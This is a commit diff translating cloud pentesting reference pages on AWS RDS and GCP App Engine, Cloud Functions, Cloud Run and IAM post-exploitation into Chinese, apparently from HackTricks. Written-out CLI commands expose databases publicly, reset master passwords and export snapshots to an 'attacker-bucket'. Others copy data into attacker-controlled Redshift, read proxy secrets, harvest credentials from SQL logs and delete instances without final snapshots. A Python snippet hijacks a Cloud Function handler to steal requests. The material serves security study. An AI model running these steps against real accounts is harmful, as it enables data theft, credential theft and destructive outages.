Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2025-11-26 17:18:14 +00:00
parent 866719d8e1
commit 4c612389ab
18 changed files with 1253 additions and 436 deletions
@@ -1,10 +1,10 @@
# AWS - RDS Post Exploitation
# AWS - RDS 后渗透
{{#include ../../../../banners/hacktricks-training.md}}
## RDS
更多信息请参阅:
For more information check:
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
如果攻击者拥有足够的权限,他可以通过创建 DB 快照,然后从该快照创建一个**公开可访问的 DB**。
如果攻击者拥有足够的权限,他可以通过为该 DB 创建一个快照,然后从该快照恢复出一个**公开可访问的 DB**。
```bash
aws rds describe-db-instances # Get DB identifier
@@ -39,21 +39,49 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
攻击者拥有 rds:StopDBCluster 或 rds:StopDBInstance 权限可以强制立即停止 RDS 实例或整个集群,导致数据库不可用、连接中断以及依赖数据库的进程被中断。
具有 `rds:StopDBCluster``rds:StopDBInstance` 权限的攻击者可以强制立即停止一个 RDS 实例或整个集群,导致数据库不可用、连接中断以及依赖数据库的进程被中断。
要停止单个 DB 实例(示例):
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
```
停止整个数据库集群(示例):
停止整个 DB 集群 (示例):
```bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Modify*`
被授予 rds:Modify* 权限的攻击者可以在不直接接触实例或集群的情况下,修改关键配置和辅助资源 (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.)。诸如调整 connection/time-out parameters、更改一个 proxy endpoint、修改哪些 certificates 被信任、改变 logical capacity 或重新配置一个 subnet group 等更改,可能削弱安全性(打开新的访问路径)、破坏路由和负载均衡、使复制/备份策略失效,并通常降低可用性或可恢复性。这些修改也可能促成间接 data exfiltration,或妨碍在事件发生后对数据库的有序恢复。
移动或更改分配给 RDS subnet group 的 subnets
```bash
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
```
在 cluster parameter group 中更改低级引擎参数:
```bash
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
```
### `rds:Restore*`
具有 `rds:Restore*` 权限的攻击者可以从快照、自动备份、point-in-time recovery (PITR) 或存储在 S3 的文件恢复整个数据库,创建新的实例或集群并用所选时间点的数据填充这些实例或集群。这些操作不会覆盖原始资源 — 它们会创建包含历史数据的新对象 — 这使得攻击者能够获取数据库的完整、可用副本(来自过去的时间点或外部 S3 文件),并用它们来 exfiltrate data、篡改历史记录或重建先前的状态。
将 DB 实例恢复到特定时间点:
```bash
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
```
### `rds:Delete*`
获得 rds:Delete* 权限的攻击者可以除 RDS 资源删除 DB instances、clusters、snapshots、automated backups、subnet groups、parameter/option groups 及相关工件,导致立即的服务中断、数据丢失、恢复点被破坏以及取证证据的丢失。
被授予 rds:Delete* 的攻击者可以除 RDS 资源删除 DB 实例、集群、快照、自动备份、子网组、参数/选项组及相关工件,从而导致即时服务中断、数据丢失、恢复点被破坏以及取证证据失。
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -76,7 +104,7 @@ aws rds delete-db-cluster \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
有这些权限的攻击者可以**创建一个 DB 的快照**并将其设为**公开** **可用**。然后,他可以在自己的账户中直接从该快照创建一个 DB。
有这些权限的攻击者可以**创建 DB 的快照**并使其**公开****可用**。然后,他可以在自己的账户中从该快照创建一个 DB。
如果攻击者**没有 `rds:CreateDBSnapshot`**,他仍然可以将**其他**已创建的快照设为**公开**。
```bash
@@ -89,45 +117,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
攻击者拥有 `rds:DownloadDBLogFilePortion` 权限可以**下载 RDS 实例日志文件的部分内容**。如果敏感数据或访问凭证被意外记录,攻击者可能利用这些信息提升权限或执行未授权操作。
拥有 `rds:DownloadDBLogFilePortion` 权限的攻击者可以 **下载 RDS 实例日志文件的部分内容**。如果敏感数据或访问凭证被意外记录,攻击者可能利用这些信息提升权限或执行未授权操作。
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**潜在影响**: 访问敏感信息或使用 leaked credentials 执行未授权操作。
**潜在影响**: 通过 leaked credentials 访问敏感信息或执行未授权操作。
### `rds:DeleteDBInstance`
有这些权限的攻击者可以现有 RDS 实例发起 **DoS**
有这些权限的攻击者可以 **DoS 现有 RDS 实例**
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**潜在影响**删除现有 RDS 实例,并可能导致数据丢失。
**潜在影响**: 删除现有 RDS 实例,以及可能的数据丢失。
### `rds:StartExportTask`
> [!NOTE]
> 待办:测试
> TODO: 测试
拥有此权限的攻击者可以 **将 RDS 实例快照导出到 S3 桶**。如果攻击者控制目标 S3 桶,则可能访问导出快照中的敏感数据。
拥有此权限的攻击者可以 **将 RDS 实例快照导出到 S3 存储**。如果攻击者控制目标 S3 存储桶,他们可能能够访问导出快照中的敏感数据。
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potential impact**: 访问导出快照中的敏感数据。
**Potential impact**访问导出快照中的敏感数据。
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
### 跨区域自动备份复制以进行隐蔽还原 (`rds:StartDBInstanceAutomatedBackupsReplication`)
滥用 cross-Region automated backups replication,可悄悄地将一个 RDS 实例的自动备份复制到另一个 AWS Region 并在那恢复。攻击者随后可以将恢复的 DB 设为公开可访问并重置主密码,从而在防方可能未监控的 Region 中离线访问数据。
滥用跨区域自动备份复制,将 RDS 实例的自动备份静默复制到另一个 AWS 区域并在那恢复。攻击者随后可以将恢复的 DB 设为公开可访问并重置主密码,从而在防方可能未监控的区域以外通道访问数据。
Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
所需权限(最低):
- `rds:StartDBInstanceAutomatedBackupsReplication` 在目标区域
- `rds:DescribeDBInstanceAutomatedBackups` 在目标区域
- `rds:RestoreDBInstanceToPointInTime` 在目标区域
- `rds:ModifyDBInstance` 在目标区域
- `rds:StopDBInstanceAutomatedBackupsReplication`(可选清理)
- `ec2:CreateSecurityGroup``ec2:AuthorizeSecurityGroupIngress`(用于暴露恢复的 DB
Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials.
影响:通过将生产数据的副本恢复到另一个区域并使用攻击者控制的凭据将其公开暴露,实现持久性和数据外泄。
<details>
<summary>端到端 CLI(替换占位符)</summary>
@@ -199,9 +227,9 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### 通过 DB parameter groups 启用完整 SQL 日志并通过 RDS log APIs exfiltrate
### 通过 DB 参数组 启用完整 SQL 日志并通过 RDS 日志 API 外泄
滥用 `rds:ModifyDBParameterGroup` 合 RDS 日志下载 APIs 来捕获应用执行的所有 SQL 语句(不需要 DB engine 凭据)。启用引擎的 SQL 日志,并通过 `rds:DescribeDBLogFiles``rds:DownloadDBLogFilePortion`(或 REST 的 `downloadCompleteLogFile`)拉取日志文件。于收集可能包含 secrets/PII/JWTs 的查询很有用
滥用 `rds:ModifyDBParameterGroup` 并结合 RDS 日志下载 API 捕获应用执行的所有 SQL 语句(不需要 DB 引擎凭据)。启用引擎的 SQL 日志,并通过 `rds:DescribeDBLogFiles``rds:DownloadDBLogFilePortion`(或 REST 的 `downloadCompleteLogFile`)拉取日志文件。可用于收集可能包含 secrets/PII/JWTs 的查询。
Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
@@ -210,15 +238,15 @@ Permissions needed (minimum):
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
Steps
1) Recon target and current parameter group
1) Recon 目标和当前参数组
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) 确保附加自定义 DB 参数组(无法编辑默认
- 如果该实例已经使用自定义组,在下一步重用其名称。
- 否则创建并附加一个与引擎系列相匹配的:
2) 确保附加自定义 DB parameter group(无法编辑默认
- 如果该 instance 已经使用 custom group,请在下一步重用其名称。
- 否则创建并附加一个与 engine family 匹配的:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -233,7 +261,7 @@ aws rds modify-db-instance \
# Wait until status becomes "available"
```
3) 启用详细的 SQL 日志记录
- MySQL 引擎 (立即生效 / 无需重启):
- MySQL 引擎(即时 / 无需重启:
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -244,7 +272,7 @@ aws rds modify-db-parameter-group \
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL 引擎需要重启):
- PostgreSQL 引擎 (需要重启):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -256,11 +284,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) 让工作负载运行(或生成查询)。语句将被写入引擎文件日志
4) 让工作负载运行(或生成查询)。语句将被写入引擎文件日志
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) 发现并下载日志(无需 DB 凭证
5) 发现并下载日志(无需 DB creds
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -271,18 +299,18 @@ aws rds download-db-log-file-portion \
--starting-token 0 \
--output text > dump.log
```
6) 离线分析敏感数据
6) 离线分析以查找敏感数据
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
示例证据(已脱敏):
示例证据(已编辑):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
清理
- 将参数还原为默认值,并在要时重启:
- 将参数恢复为默认值,并在要时重启:
```bash
# MySQL
aws rds modify-db-parameter-group \
@@ -297,19 +325,19 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
影响:通过 AWS APIs 捕获所有应用程序 SQL 语句以进行 Post-exploitation 数据访问(无需 DB creds),可能 leaking secrets、JWTs 和 PII。
影响:Post-exploitation 数据访问,通过 AWS APIs 捕获所有应用 SQL 语句(无需 DB creds),可能导致 leaking secrets、JWTs 和 PII。
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
滥用 RDS read replicas 可以在不接触主实例凭的情况下获得 out-of-band 的读取访问。攻击者可以从生产实例创建一个 read replica,重置该 replica 的主密码(这不会更改主实例),并可选地将该 replica 公开暴露以 exfiltrate 数据。
滥用 RDS 只读副本可以在不接触主实例凭的情况下获得 out-of-band 的读取访问权限。攻击者可以从生产实例创建一个只读副本,重置该副本的主密码(这不会更改主实例),并可选择将副本公开暴露以 exfiltrate 数据。
Permissions needed (minimum):
所需权限(最低):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`(如果公开暴露)
影响:通过攻击者控制的凭证访问 replica,从而以只读方式访问生产数据;检测可能性较低,因为主实例未被触及且 replication 仍在继续
影响:通过具有攻击者控制凭据的副本获得对生产数据的只读访问;检测可能性较低,因为主实例保持不变且复制继续进行
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -340,13 +368,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
示例证据MySQL):
- 副本 DB 状态`available`只读复制`replicating`
- 使用新密码成功连接,并通过 `@@read_only=1` 确认只读副本访问。
示例证据 (MySQL):
- 副本 DB 状态: `available`, 只读复制: `replicating`
- 使用新密码成功连接,并通过 `@@read_only=1` 确认只读副本访问。
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
滥用 RDS Blue/Green 将生产 DB 克隆到一个持续复制的只读 green 环境。然后重置 green 的 master 凭据以在不接触 blueprod实例的情况下访问数据。这比 snapshot sharing 更隐蔽,并且经常绕过仅关注源实例的监控。
滥用 RDS Blue/Green 将生产 DB 克隆到一个持续复制的只读 green 环境。然后重置 green 凭据以在不接触 blue (prod) 实例的情况下访问数据。这比 snapshot sharing 更隐蔽,且常常能绕过仅关注源的监控。
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -393,22 +421,21 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
影响:只读但可完整访问生产环境的近实时克隆,且不修改生产实例。适用于隐蔽的数据提取和离线分析。
影响:只读但可以完全访问生产环境的近实时克隆,而不会修改生产实例。适用于隐蔽的数据提取和离线分析。
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
### Out-of-band SQL via RDS Data API:通过启用 HTTP endpoint重置 master password
滥用 Aurora 在目标集群上启用 RDS Data API HTTP endpoint重置 master password 为你可控的值,并通过 HTTPS 执行 SQL(不需要 VPC 网络路径)。适用于支持 Data API/EnableHttpEndpoint 的 Aurora 引擎(例如,Aurora MySQL 8.0 provisioned;某些 Aurora PostgreSQL/MySQL 版本)。
利用 Aurora 在目标集群上启用 RDS Data API HTTP endpoint,重置 master password 为你可控的值,然后通过 HTTPS 运行 SQL(不需要 VPC 网络路径)。适用于支持 Data API/EnableHttpEndpoint 的 Aurora 引擎(例如,Aurora MySQL 8.0 provisioned;以及某些 Aurora PostgreSQL/MySQL 版本)。
Permissions (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
最低权限:
- rds:DescribeDBClusters, rds:ModifyDBCluster (或 rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
- rds-data:ExecuteStatement (如果使用则包括 rds-data:BatchExecuteStatement)
影响:绕过网络分段,通过 AWS APIs 将数据外传,而无需与 DB 直接 VPC 连接。
影响:绕过网络分段,通过 AWS APIs 外传数据,而无需与 DB 建立直接 VPC 连接。
<details>
<summary>端到端 CLIAurora MySQL 示例</summary>
<summary>端到端 CLI (Aurora MySQL 示例)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
@@ -460,22 +487,22 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
```
</details>
注意:
- 如果 rds-data 拒绝多语句 SQL分别发起单独的 execute-statement 调用。
注意事项
- 如果 rds-data 拒绝多语句 SQL分别发 execute-statement 调用。
- 对于 modify-db-cluster --enable-http-endpoint 无效的引擎,请使用 rds enable-http-endpoint --resource-arn。
- 确保引擎/版本实支持 Data API;否则 HttpEndpointEnabled 将保持 False。
- 确保引擎/版本实支持 Data API;否则 HttpEndpointEnabled 将保持 False。
### 通过 RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) 获取数据库凭据
### 通过 RDS Proxy auth secrets 获取 DB 凭证 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
滥用 RDS Proxy 配置以发现用于后端身份验证的 Secrets Manager secret,然后读取该 secret 以获取数据库凭据。许多环境授予广泛的 `secretsmanager:GetSecretValue` 权限,使其成为一个低摩擦的转向 DB 凭的方法。如果该 secret 使用 CMK,错放的 KMS 权限可能允许 `kms:Decrypt`
滥用 RDS Proxy 配置以发现用于后端证的 Secrets Manager secret,然后读取该 secret 以获取数据库凭据。许多环境授予广泛的 `secretsmanager:GetSecretValue` 权限,使其成为一个低摩擦的转向 DB 凭的方法。如果该 secret 使用 CMK,权限范围错误的 KMS 可能允许 `kms:Decrypt`
所需权限(最):
所需权限(最):
- `rds:DescribeDBProxies`
- 在被引用的 SecretArn 上具有 `secretsmanager:GetSecretValue`
- 当 secret 使用 CMK 时可选:对该密钥的 `kms:Decrypt`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
影响:立即露配置在代理上的数据库用户名/密码;可直接访问数据库或进一步横向移动。
影响:立即露配置在代理上的 DB 用户名/密码;可直接访问数据库或进行进一步横向移动。
步骤
```bash
@@ -490,7 +517,7 @@ aws secretsmanager get-secret-value \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
实验最小可复现)
实验 (最小可重现)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -509,16 +536,16 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
清理实验室
清理 (实验室)
```bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### 隐蔽的持续 exfiltration 通过 Aurora zeroETL Amazon Redshift (rds:CreateIntegration)
### Stealthy continuous exfiltration via Aurora zeroETL to Amazon Redshift (rds:CreateIntegration)
滥用 Aurora PostgreSQL zeroETL integration 将生产数据持续复制到你控制的 Redshift Serverless namespace。若 Redshift resource policy 被配置为对特定 Aurora cluster ARN 授权 CreateInboundIntegration/AuthorizeInboundIntegration,并且策略过于宽松attacker 可以在不使用 DB creds、snapshots 或暴露网络的情况下建立近实时的数据副本。
滥用 Aurora PostgreSQL zeroETL 集成,将生产数据持续复制到你控制的 Redshift Serverless 命名空间中。若存在一个允许对特定 Aurora cluster ARN 授权 CreateInboundIntegration/AuthorizeInboundIntegration 的宽松 Redshift 资源策略attacker 可以在无需 DB creds、snapshots 或网络暴露的情况下建立近实时的数据副本。
Permissions needed (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
@@ -529,7 +556,7 @@ Permissions needed (minimum):
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) 创建 Redshift Serverless namespace + workgroup</summary>
<summary>1) 创建 Redshift Serverless 命名空间 + 工作组</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -576,7 +603,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
</details>
<details>
<summary>3) 创建 Aurora PostgreSQL 集群 (启用 Data API 和 逻辑复制)</summary>
<summary>3) 创建 Aurora PostgreSQL 集群启用 Data API 和 逻辑复制</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -619,7 +646,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
</details>
<details>
<summary>5) 在 Redshift 中化并查询复制的数据</summary>
<summary>5) 在 Redshift 中实体化并查询复制的数据</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -632,11 +659,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
```
</details>
测试中观察到的证据:
证据(测试中观察到:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION 显示 integration_id 377a462b-c42c-4f08-937b-77fe75d98211 和 state PendingDbConnectState,发生在 DB 创建之前
- 在执行 CREATE DATABASE FROM INTEGRATION 之后,列出表时发现 schema ztl 和 table customers;从 ztl.customers 选择返回 2 行Alice, Bob
- SVV_INTEGRATION 显示 integration_id 377a462b-c42c-4f08-937b-77fe75d98211,且在数据库创建之前状态为 PendingDbConnectState。
- 在执行 CREATE DATABASE FROM INTEGRATION 之后,列出表显示 schema ztl 和 table customers;从 ztl.customers 查询返回 2 行 (Alice, Bob)
影响:攻击者可持续近实时地对选定的 Aurora PostgreSQL 表进行 exfiltration 到其控制的 Redshift Serverless,且无需使用数据库凭证、备份或对源集群的网络访问。
影响:攻击者可以持续近实时地将选定的 Aurora PostgreSQL 表 exfiltration 到受其控制的 Redshift Serverless,而无需使用 database credentials、backups 或对源集群的 network access。
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# GCP - App Engine 后渗透
# GCP - App Engine 后利用
{{#include ../../../banners/hacktricks-training.md}}
## `App Engine`
有关 App Engine 的信息请参
有关 App Engine 的信息请参
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,36 +12,37 @@
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
有这些权限可以:
有这些权限可以:
- 添加 key
- 列出 key
- 获取 key
- 添加
- 列出
- 获取
- 删除
> [!CAUTION]
> 但是,我**找不到从 cli 访问这些信息的任何方法**,只能从 **web console** 访问,在那里你需要知道 **Key type** **Key name**,或者从正在运行的 **app engine 应用** 中访问。
> However, I **couldn't find any way to access this information from the cli**, only from the **web console** where you need to know the **Key type** and the **Key name**, of from the a**pp engine running app**.
>
> 如果知道更简单的方法来使用这些权限,请提交 Pull Request!
> 如果知道更简单的方法来使用这些权限,请提交 Pull Request
### `logging.views.access`
有此权限可以**查看应用的日志**
<details>
<summary>实时查看应用日志</summary>
有此权限可以 **查看应用的日志**
```bash
gcloud app logs tail -s <name>
```
</details>
### 服务与版本删除
### 阅读源代码
`appengine.versions.delete``appengine.versions.list``appengine.services.list` 权限允许管理和删除 App Engine 应用的特定版本,这可能在流量被拆分或唯一稳定版本被移除时影响流量。与此同时,`appengine.services.delete``appengine.services.list` 权限允许列出并删除整个服务——此操作会立即中断所有流量并影响相关版本的可用性。
```bash
gcloud app versions delete <VERSION_ID>
gcloud app services delete <SERVICE_NAME>
```
### Read Source Code
所有版本和服务的源代码都**存储在 bucket**,名称为 **`staging.<proj-id>.appspot.com`**。如果你对它有写权限,你可以读取源代码并搜索 **vulnerabilities****敏感信息**
所有版本和服务的 source code 都被 **stored in the bucket**,名称为 **`staging.<proj-id>.appspot.com`**。如果你对它有写权限,你可以读取 source code 并搜索 **vulnerabilities****sensitive information**
### 修改源代码
### Modify Source Code
修改源代码以窃取正在送的 credentials,或实施 defacement web attack。
修改 source code 以窃取正在送的 credentials,或执行 defacement web attack。
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Cloud Functions
在以下位置查找有关 Cloud Functions 的一些信息:
在以下位置可以找到有关 Cloud Functions 的一些信息:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,30 +12,31 @@
### `cloudfunctions.functions.sourceCodeGet`
有此权限可以获取一个 **signed URL 来下载 Cloud Function 的源代码**
<details>
<summary>获取用于下载 Cloud Function 源代码的 signed URL</summary>
此权限,你可以获取一个**签名 URL 来下载 Cloud Function 的源代码**
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
</details>
### `cloudfunctions.functions.delete`
`cloudfunctions.functions.delete` 权限允许某个身份完全删除一个 Cloud Function,包括其 code、配置、触发器,以及与 service accounts 的关联。
```bash
gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet
```
### Code Exfiltration 通过 bucket
The `storage.objects.get` and `storage.objects.list` permissions allow listing and reading objects inside a bucket, and in the case of Cloud Functions this is especially relevant because each function stores its source code in an automatically managed Google bucket, whose name follows the format `gcf-sources-<PROJECT_NUMBER>-<REGION>`
### 窃取 Cloud Function 请求
如果 Cloud Function 正在处理用户发送的敏感信息(例如 passwords tokens),在拥有足够权限的情况下,你可以 **修改函数的源代码并 exfiltrate** 这些信息。
If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.
此外,运行在 python 上的 Cloud Functions 使用 **flask** 暴露 web 服务器,如果你在 flask 进程中发现了代码注入漏洞(例如 SSTI 漏洞),有可能 **覆盖将接收 HTTP 请求的函数处理器**,使其成为一个 **恶意函数**,该函数可以在将请求传递给合法处理器之前 **exfiltrate the request**
Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.
例如这段代码实现了该攻击:
<details>
<summary>窃取 Cloud Function 请求 (Python injection)</summary>
For example this code implements the attack:
```python
import functions_framework
@@ -132,8 +133,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
# GCP - Cloud Run 后渗透
# GCP - Cloud Run Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,14 +10,25 @@
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### 删除 CloudRun 作业
具有 `run.services.delete``run.services.get` 权限,以及 `run.jobs.delete` 权限的主体,可以完全删除一个 Cloud Run 服务或作业,包括其配置和历史。在攻击者手中,这可能立即中断应用或关键工作流,导致依赖该服务逻辑或关键计划任务的用户和系统出现 denial of service (DoS)。
要删除一个作业,可以执行以下操作。
```bash
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
```
要删除服务,可以执行以下操作。
```bash
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
```
### 访问镜像
如果可以访问容器镜像,请检查代码中的漏洞和硬编码的敏感信息。还要检查环境变量中的敏感信息。
如果可以访问 container images,请检查代码是否存在漏洞和硬编码的敏感信息,也要检查 env variables 中的敏感信息。
如果镜像存储在服务 Artifact Registry 内的仓库中,且用户对这些仓库具有读取权限,他也可以从该服务下载镜像。
如果镜像存储在 Artifact Registry 服务内的仓库中,且用户对这些仓库具有读取权限,他也可以从该服务下载镜像。
### 修改并重新部署镜像
修改运行镜像以窃取信息并重新部署新版本(仅上传具有相同标签的新 docker 容器不会使其执行)。例如,如果它暴露了登录页面,请窃取用户发送的凭
修改运行镜像以窃取信息并重新部署新版本(仅上传具有相同 tags 的新 docker container 并不会使其执行)。例如,如果它暴露了一个 login page,可以窃取用户提交的凭
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,24 +10,42 @@ You can find further information about IAM in:
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
### 授予对管理控制台访问权限 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
### 管理控制台授予访问权限 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**.
[GCP management console](https://console.cloud.google.com) 的访问是**授予用户账户,而非服务账户**。要登录 Web 界面,你可以**授予你控制的 Google 账户访问权限**。这可以是一个通用的 "**@gmail.com**" 账户,它**不必是目标组织的成员**。
不过,要将原始角色 **Owner** 授予一个通用的@gmail.com账户,你需要**使用 web 控制台**。`gcloud` 会在你尝试授予超过 Editor 的权限报错。
但是,要将基础角色中的 **Owner** **授予** 通用的 "@gmail.com" 账户,你需要**使用 web 控制台**。`gcloud` 如果你尝试授予高于 Editor 的权限报错。
你可以使用以下命令将原始角色 **Editor** 授予你现有项目的某个用户
<details>
<summary>授予用户 Editor 角色</summary>
你可以使用以下命令将某用户授予你现有项目的 **基础角色 Editor**
```bash
